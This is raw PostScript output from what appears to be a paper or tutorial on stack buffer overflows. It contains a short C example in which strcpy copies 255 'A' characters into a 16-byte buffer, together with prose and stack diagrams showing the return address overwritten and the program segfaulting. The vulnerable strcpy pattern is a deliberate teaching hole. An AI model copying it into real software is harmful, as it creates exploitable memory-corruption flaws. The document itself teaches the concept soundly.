0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D (o)S 9.300 0 32 -0.300 0 (f )D -0.200 0 (A)A -1.000 0 (')A 8.900 0 32 0.100 0 (s )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2032 5121 M 9.000 0 32 (0x41 )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2341 5111 M 0.200 0 (i)A 9.000 0 32 (n h)W -0.400 0 (e)A 1.000 0 (x)A 9.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A (n)S 0.200 0 (t)A 9.000 0 32 (o )W -0.400 0 (a)A 9.000 0 32 (nd ov)W -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k, )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 10.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5291 M (h)S -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d )W 0.200 0 (t)A 6.000 0 32 (o )W -0.400 0 (a)A 6.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 5.900 0 32 0.100 0 (ss )D (ou)S 0.200 0 (t)A 0.100 0 (s)A 0.200 0 (i)A (d)S 6.400 0 32 -0.400 0 (e )D (o)S 6.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 6.900 0 32 0.100 0 (ss )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 6.900 0 32 0.100 0 (ss s)D (p)S -0.400 0 (ace)A 7.000 0 32 (. )W -0.100 0 (T)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 6.900 0 32 0.100 0 (ss )D -0.400 0 (ca)A 7.000 0 32 (n no)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5468 M 0.200 0 (l)A (on)S -1.000 0 (g)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r f)D -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A 1.000 0 (x)A 3.800 0 32 0.200 0 (t i)D (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A 4.000 0 32 (on )W -0.300 0 (fr)A (o)S 3.800 0 32 0.200 0 (m t)D (h)S 5.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (op)S -0.400 0 (e)A 5.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 5.000 0 32 (, ov)W -0.400 0 (e)A -0.300 0 (r)A -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 5.000 0 32 (n )W -0.200 0 (w)A 0.200 0 (it)A 5.000 0 32 (h )W -0.400 0 (a)A 5.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 4.900 0 32 0.100 0 (ss )D (ou)S 0.200 0 (t)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5645 M -0.102 0 (its process space, returning a segmentation fault.)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 514 M -0.200 0 (1:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 514 M -0.200 0 (void function\(char *str\) {)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 79 rr : 0 0 0 sco O ; 4412 506 N M 6 79 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 585 M -0.200 0 (2:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 585 M -0.200 0 ( ch)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1412 585 M -0.200 0 (ar buffer[16];)A ; 586 585 N M 6 71 rr : 0 0 0 sco O ; 4412 585 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 656 M -0.200 0 (3:)A ; 586 656 N M 6 71 rr : 0 0 0 sco O ; 4412 656 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 727 M -0.200 0 (4:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 727 M -0.200 0 ( strcpy\(buffer,str\);)A ; 586 727 N M 6 71 rr : 0 0 0 sco O ; 4412 727 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 798 M -0.200 0 (5:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 798 M -0.200 0 (})A ; 586 798 N M 6 71 rr : 0 0 0 sco O ; 4412 798 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 869 M -0.200 0 (6:)A ; 586 869 N M 6 71 rr : 0 0 0 sco O ; 4412 869 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 940 M -0.200 0 (7:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 940 M -0.200 0 (void main\(\) {)A ; 586 940 N M 6 71 rr : 0 0 0 sco O ; 4412 940 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1011 M -0.200 0 (8:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1011 M -0.200 0 ( char large_string[256];)A ; 586 1011 N M 6 71 rr : 0 0 0 sco O ; 4412 1011 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1082 M -0.200 0 (9:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1082 M -0.200 0 ( int i;)A ; 586 1082 N M 6 71 rr : 0 0 0 sco O ; 4412 1082 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1153 M -0.200 0 (10:)A ; 586 1153 N M 6 71 rr : 0 0 0 sco O ; 4412 1153 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1224 M -0.200 0 (11:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1224 M -0.200 0 ( for\( i = 0; i < 255; i++\))A ; 586 1224 N M 6 71 rr : 0 0 0 sco O ; 4412 1224 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1295 M -0.200 0 (12:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1295 M -0.200 0 ( large_string[i] = 'A';)A ; 586 1295 N M 6 71 rr : 0 0 0 sco O ; 4412 1295 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1366 M -0.200 0 (13:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1366 M -0.200 0 ( function\(large_string\);)A ; 586 1366 N M 6 71 rr : 0 0 0 sco O ; 4412 1366 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1437 M -0.200 0 (14:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1437 M -0.200 0 (})A ; 586 1516 N M 6 6 rr : 0 0 0 sco O ; 586 1516 N M 6 6 rr : 0 0 0 sco O ; 592 1516 N M 3820 6 rr : 0 0 0 sco O ; 4412 1516 N M 6 6 rr : 0 0 0 sco O ; 4412 1516 N M 6 6 rr : 0 0 0 sco O ; 586 1437 N M 6 79 rr : 0 0 0 sco O ; 4412 1437 N M 6 79 rr : 0 0 0 sco O ; 634 2624 N M 1392 1934 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1278 4224 184 96 rc 0 0 0 sco (F2_84) cvn F2 84 xF F2_84 Ji 1278 4228 M -2.000 0 (b)A -0.676 0 (ss)A ; 628 4370 N M 0 -198 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2030 4370 N M 0 -198 - 0 0 0 sco K 626 4368 N M 1406 0 - 0 0 0 sco K 628 4564 N M 0 -198 - 0 0 0 sco K 2030 4564 N M 0 -198 - 0 0 0 sco K 626 3396 N M 1406 0 - 0 0 0 sco K 628 2618 N M 1402 6 rr : 0.251 0.251 0.251 sco O ; 628 2624 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 628 2630 N M 1402 6 rr : 0.267 0.267 0.267 sco O ; 628 2636 N M 1402 4 rr : 0.275 0.275 0.275 sco O ; 628 2640 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 628 2646 N M 1402 8 rr : 0.290 0.290 0.290 sco O ; 628 2654 N M 1402 4 rr : 0.298 0.298 0.298 sco O ; 628 2658 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 628 2664 N M 1402 6 rr : 0.314 0.314 0.314 sco O ; 628 2670 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 628 2676 N M 1402 6 rr : 0.329 0.329 0.329 sco O ; 628 2682 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 628 2688 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 628 2694 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 628 2700 N M 1402 6 rr : 0.361 0.361 0.361 sco O ; 628 2706 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 628 2712 N M 1402 6 rr : 0.376 0.376 0.376 sco O ; 628 2716 N M 1402 8 rr : 0.384 0.384 0.384 sco O ; 628 2724 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 628 2728 N M 1402 6 rr : 0.400 0.400 0.400 sco O ; 628 2734 N M 1402 8 rr : 0.408 0.408 0.408 sco O ; 628 2742 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 628 2746 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 628 2752 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 628 2758 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 628 2764 N M 1402 6 rr : 0.447 0.447 0.447 sco O ; 628 2770 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 628 2776 N M 1402 6 rr : 0.463 0.463 0.463 sco O ; 628 2782 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 628 2788 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 628 2794 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 628 2800 N M 1402 6 rr : 0.494 0.494 0.494 sco O ; 628 2806 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 628 2812 N M 1402 6 rr : 0.510 0.510 0.510 sco O ; 628 2818 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 628 2824 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 628 2828 N M 1402 8 rr : 0.533 0.533 0.533 sco O ; 628 2836 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 628 2842 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 628 2846 N M 1402 8 rr : 0.557 0.557 0.557 sco O ; 628 2854 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 628 2858 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 628 2864 N M 1402 6 rr : 0.580 0.580 0.580 sco O ; 628 2870 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 628 2876 N M 1402 6 rr : 0.596 0.596 0.596 sco O ; 628 2882 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 628 2888 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 628 2894 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 628 2900 N M 1402 6 rr : 0.627 0.627 0.627 sco O ; 628 2906 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 628 2912 N M 1402 6 rr : 0.643 0.643 0.643 sco O ; 628 2918 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 628 2924 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 628 2930 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 628 2936 N M 1402 4 rr : 0.675 0.675 0.675 sco O ; 628 2940 N M 1402 8 rr : 0.682 0.682 0.682 sco O ; 628 2948 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 628 2952 N M 1402 56 rr : 0.698 0.698 0.698 sco O ; 632 2620 N M 1396 386 rr 0 Lc 0 Lj 0 0 0 sco K : 1172 2868 408 96 rc 0 0 0 sco (F8_84) cvn F8 84 xF F8_84 Ji 1172 2872 M (u)S -0.676 0 (s)A 0.704 0 (e)A 1.676 0 32 -0.676 0 (r s)D 0.648 0 (t)A (a)S 0.704 0 (ck)A ; 626 3008 N M 1406 0 - 1 Lc 1 Lj 0 0 0 sco K 628 4212 N M 1402 50 rr : 0.698 0.698 0.698 sco O ; 628 4262 N M 1402 6 rr : 0.698 0.698 0.698 sco O ; 628 4268 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 628 4272 N M 1402 6 rr : 0.682 0.682 0.682 sco O ; 628 4278 N M 1402 6 rr : 0.675 0.675 0.675 sco O ; 628 4284 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 628 4288 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 628 4294 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 628 4300 N M 1402 4 rr : 0.643 0.643 0.643 sco O ; 628 4304 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 628 4310 N M 1402 4 rr : 0.627 0.627 0.627 sco O ; 628 4314 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 628 4320 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 628 4326 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 628 4332 N M 1402 4 rr : 0.596 0.596 0.596 sco O ; 628 4336 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 628 4342 N M 1402 4 rr : 0.580 0.580 0.580 sco O ; 628 4346 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 628 4352 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 628 4356 N M 1402 6 rr : 0.557 0.557 0.557 sco O ; 628 4362 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 628 4368 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 628 4374 N M 1402 4 rr : 0.533 0.533 0.533 sco O ; 628 4378 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 628 4384 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 628 4390 N M 1402 4 rr : 0.510 0.510 0.510 sco O ; 628 4394 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 628 4400 N M 1402 4 rr : 0.494 0.494 0.494 sco O ; 628 4404 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 628 4410 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 628 4416 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 628 4422 N M 1402 4 rr : 0.463 0.463 0.463 sco O ; 628 4426 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 628 4432 N M 1402 4 rr : 0.447 0.447 0.447 sco O ; 628 4436 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 628 4442 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 628 4446 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 628 4452 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 628 4458 N M 1402 6 rr : 0.408 0.408 0.408 sco O ; 628 4464 N M 1402 4 rr : 0.400 0.400 0.400 sco O ; 628 4468 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 628 4474 N M 1402 6 rr : 0.384 0.384 0.384 sco O ; 628 4480 N M 1402 4 rr : 0.376 0.376 0.376 sco O ; 628 4484 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 628 4490 N M 1402 4 rr : 0.361 0.361 0.361 sco O ; 628 4494 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 628 4500 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 628 4506 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 628 4512 N M 1402 4 rr : 0.329 0.329 0.329 sco O ; 628 4516 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 628 4522 N M 1402 4 rr : 0.314 0.314 0.314 sco O ; 628 4526 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 628 4532 N M 1402 6 rr : 0.298 0.298 0.298 sco O ; 628 4536 N M 1402 6 rr : 0.290 0.290 0.290 sco O ; 628 4542 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 628 4548 N M 1402 6 rr : 0.275 0.275 0.275 sco O ; 628 4554 N M 1402 4 rr : 0.267 0.267 0.267 sco O ; 628 4558 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 632 4216 N M 1396 346 rr 0 Lc 0 Lj 0 0 0 sco K 626 4368 N M 1406 0 - 26 Lw 1 Lc 1 Lj solid 0 0 0 sco K 626 4214 N M 1406 0 - 6 Lw solid 0 0 0 sco K : 1252 4230 234 96 rc 0 0 0 sco F8_84 Ji 1252 4234 M (h)S 0.704 0 (e)A (ap)S ; : 1262 2668 208 94 rc 0 0 0 sco F2_84 Ji 1262 2672 M 0.704 0 (a)A 2.028 0 (r)A (g)S -1.296 0 (c)A ; 626 2812 N M 1406 0 - 26 Lw solid 0 0 0 sco K : 1278 4430 184 96 rc 0 0 0 sco F2_84 Ji 1278 4434 M -2.000 0 (b)A -0.676 0 (ss)A ; : 511 2604 3780 2205 rc 628 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 2030 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 626 2618 N M 1406 0 - 12 Lw solid 0 0 0 sco K ; 626 4564 N M 1406 0 - 12 Lw solid 0 0 0 sco K 626 3202 N M 1406 0 - 6 Lw solid 0 0 0 sco K 626 3746 N M 1406 0 - 0 0 0 sco K : 1096 3880 552 102 rc 0 0 0 sco (F4_84) cvn F4 84 xF F4_84 Ji 1096 3880 M -0.400 0 (buffer[16])A ; : 1258 3530 202 102 rc 0 0 0 sco F4_84 Ji 1258 3530 M -0.400 0 (sfp)A ; : 1258 3258 202 102 rc 0 0 0 sco F4_84 Ji 1258 3258 M -0.400 0 (ret)A ; : 1236 3062 252 102 rc 0 0 0 sco F4_84 Ji 1236 3062 M -0.400 0 (*str)A ; 2776 2624 N M 1390 1934 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 3420 4224 182 96 rc 0 0 0 sco F2_84 Ji 3420 4228 M -2.000 0 (b)A -0.676 0 (ss)A ; 2768 4370 N M 0 -198 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 4170 4370 N M 0 -198 - 0 0 0 sco K 2768 4368 N M 1404 0 - 0 0 0 sco K 2768 4564 N M 0 -198 - 0 0 0 sco K 4170 4564 N M 0 -198 - 0 0 0 sco K 2768 2618 N M 1402 6 rr : 0.251 0.251 0.251 sco O ; 2768 2624 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 2768 2630 N M 1402 6 rr : 0.267 0.267 0.267 sco O ; 2768 2636 N M 1402 4 rr : 0.275 0.275 0.275 sco O ; 2768 2640 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 2768 2646 N M 1402 8 rr : 0.290 0.290 0.290 sco O ; 2768 2654 N M 1402 4 rr : 0.298 0.298 0.298 sco O ; 2768 2658 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 2768 2664 N M 1402 6 rr : 0.314 0.314 0.314 sco O ; 2768 2670 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 2768 2676 N M 1402 6 rr : 0.329 0.329 0.329 sco O ; 2768 2682 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 2768 2688 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 2768 2694 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 2768 2700 N M 1402 6 rr : 0.361 0.361 0.361 sco O ; 2768 2706 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 2768 2712 N M 1402 6 rr : 0.376 0.376 0.376 sco O ; 2768 2716 N M 1402 8 rr : 0.384 0.384 0.384 sco O ; 2768 2724 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 2768 2728 N M 1402 6 rr : 0.400 0.400 0.400 sco O ; 2768 2734 N M 1402 8 rr : 0.408 0.408 0.408 sco O ; 2768 2742 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 2768 2746 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 2768 2752 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 2768 2758 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 2768 2764 N M 1402 6 rr : 0.447 0.447 0.447 sco O ; 2768 2770 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 2768 2776 N M 1402 6 rr : 0.463 0.463 0.463 sco O ; 2768 2782 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 2768 2788 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 2768 2794 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 2768 2800 N M 1402 6 rr : 0.494 0.494 0.494 sco O ; 2768 2806 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 2768 2812 N M 1402 6 rr : 0.510 0.510 0.510 sco O ; 2768 2818 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 2768 2824 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 2768 2828 N M 1402 8 rr : 0.533 0.533 0.533 sco O ; 2768 2836 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 2768 2842 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 2768 2846 N M 1402 8 rr : 0.557 0.557 0.557 sco O ; 2768 2854 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 2768 2858 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 2768 2864 N M 1402 6 rr : 0.580 0.580 0.580 sco O ; 2768 2870 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 2768 2876 N M 1402 6 rr : 0.596 0.596 0.596 sco O ; 2768 2882 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 2768 2888 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 2768 2894 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 2768 2900 N M 1402 6 rr : 0.627 0.627 0.627 sco O ; 2768 2906 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 2768 2912 N M 1402 6 rr : 0.643 0.643 0.643 sco O ; 2768 2918 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 2768 2924 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 2768 2930 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 2768 2936 N M 1402 4 rr : 0.675 0.675 0.675 sco O ; 2768 2940 N M 1402 8 rr : 0.682 0.682 0.682 sco O ; 2768 2948 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 2768 2952 N M 1402 56 rr : 0.698 0.698 0.698 sco O ; 2772 2620 N M 1398 386 rr 0 Lc 0 Lj 0 0 0 sco K : 3312 2868 408 96 rc 0 0 0 sco F8_84 Ji 3312 2872 M (u)S -0.676 0 (s)A 0.704 0 (e)A 1.676 0 32 -0.676 0 (r s)D 0.648 0 (t)A (a)S 0.704 0 (ck)A ; 2768 3008 N M 1404 0 - 1 Lc 1 Lj 0 0 0 sco K 2768 4212 N M 1402 50 rr : 0.698 0.698 0.698 sco O ; 2768 4262 N M 1402 6 rr : 0.698 0.698 0.698 sco O ; 2768 4268 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 2768 4272 N M 1402 6 rr : 0.682 0.682 0.682 sco O ; 2768 4278 N M 1402 6 rr : 0.675 0.675 0.675 sco O ; 2768 4284 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 2768 4288 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 2768 4294 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 2768 4300 N M 1402 4 rr : 0.643 0.643 0.643 sco O ; 2768 4304 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 2768 4310 N M 1402 4 rr : 0.627 0.627 0.627 sco O ; 2768 4314 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 2768 4320 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 2768 4326 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 2768 4332 N M 1402 4 rr : 0.596 0.596 0.596 sco O ; 2768 4336 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 2768 4342 N M 1402 4 rr : 0.580 0.580 0.580 sco O ; 2768 4346 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 2768 4352 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 2768 4356 N M 1402 6 rr : 0.557 0.557 0.557 sco O ; 2768 4362 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 2768 4368 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 2768 4374 N M 1402 4 rr : 0.533 0.533 0.533 sco O ; 2768 4378 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 2768 4384 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 2768 4390 N M 1402 4 rr : 0.510 0.510 0.510 sco O ; 2768 4394 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 2768 4400 N M 1402 4 rr : 0.494 0.494 0.494 sco O ; 2768 4404 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 2768 4410 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 2768 4416 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 2768 4422 N M 1402 4 rr : 0.463 0.463 0.463 sco O ; 2768 4426 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 2768 4432 N M 1402 4 rr : 0.447 0.447 0.447 sco O ; 2768 4436 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 2768 4442 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 2768 4446 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 2768 4452 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 2768 4458 N M 1402 6 rr : 0.408 0.408 0.408 sco O ; 2768 4464 N M 1402 4 rr : 0.400 0.400 0.400 sco O ; 2768 4468 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 2768 4474 N M 1402 6 rr : 0.384 0.384 0.384 sco O ; 2768 4480 N M 1402 4 rr : 0.376 0.376 0.376 sco O ; 2768 4484 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 2768 4490 N M 1402 4 rr : 0.361 0.361 0.361 sco O ; 2768 4494 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 2768 4500 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 2768 4506 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 2768 4512 N M 1402 4 rr : 0.329 0.329 0.329 sco O ; 2768 4516 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 2768 4522 N M 1402 4 rr : 0.314 0.314 0.314 sco O ; 2768 4526 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 2768 4532 N M 1402 6 rr : 0.298 0.298 0.298 sco O ; 2768 4536 N M 1402 6 rr : 0.290 0.290 0.290 sco O ; 2768 4542 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 2768 4548 N M 1402 6 rr : 0.275 0.275 0.275 sco O ; 2768 4554 N M 1402 4 rr : 0.267 0.267 0.267 sco O ; 2768 4558 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 2772 4216 N M 1398 346 rr 0 Lc 0 Lj 0 0 0 sco K 2768 4368 N M 1404 0 - 26 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2768 4214 N M 1404 0 - 6 Lw solid 0 0 0 sco K : 3394 4230 234 96 rc 0 0 0 sco F8_84 Ji 3394 4234 M (h)S 0.704 0 (e)A (ap)S ; : 3402 2668 208 94 rc 0 0 0 sco F2_84 Ji 3402 2672 M 0.704 0 (a)A 2.028 0 (r)A (g)S -1.296 0 (c)A ; 2768 2812 N M 1404 0 - 26 Lw solid 0 0 0 sco K : 3420 4430 182 96 rc 0 0 0 sco F2_84 Ji 3420 4434 M -2.000 0 (b)A -0.676 0 (ss)A ; : 511 2604 3780 2205 rc 2768 2616 N M 0 1948 - 12 Lw 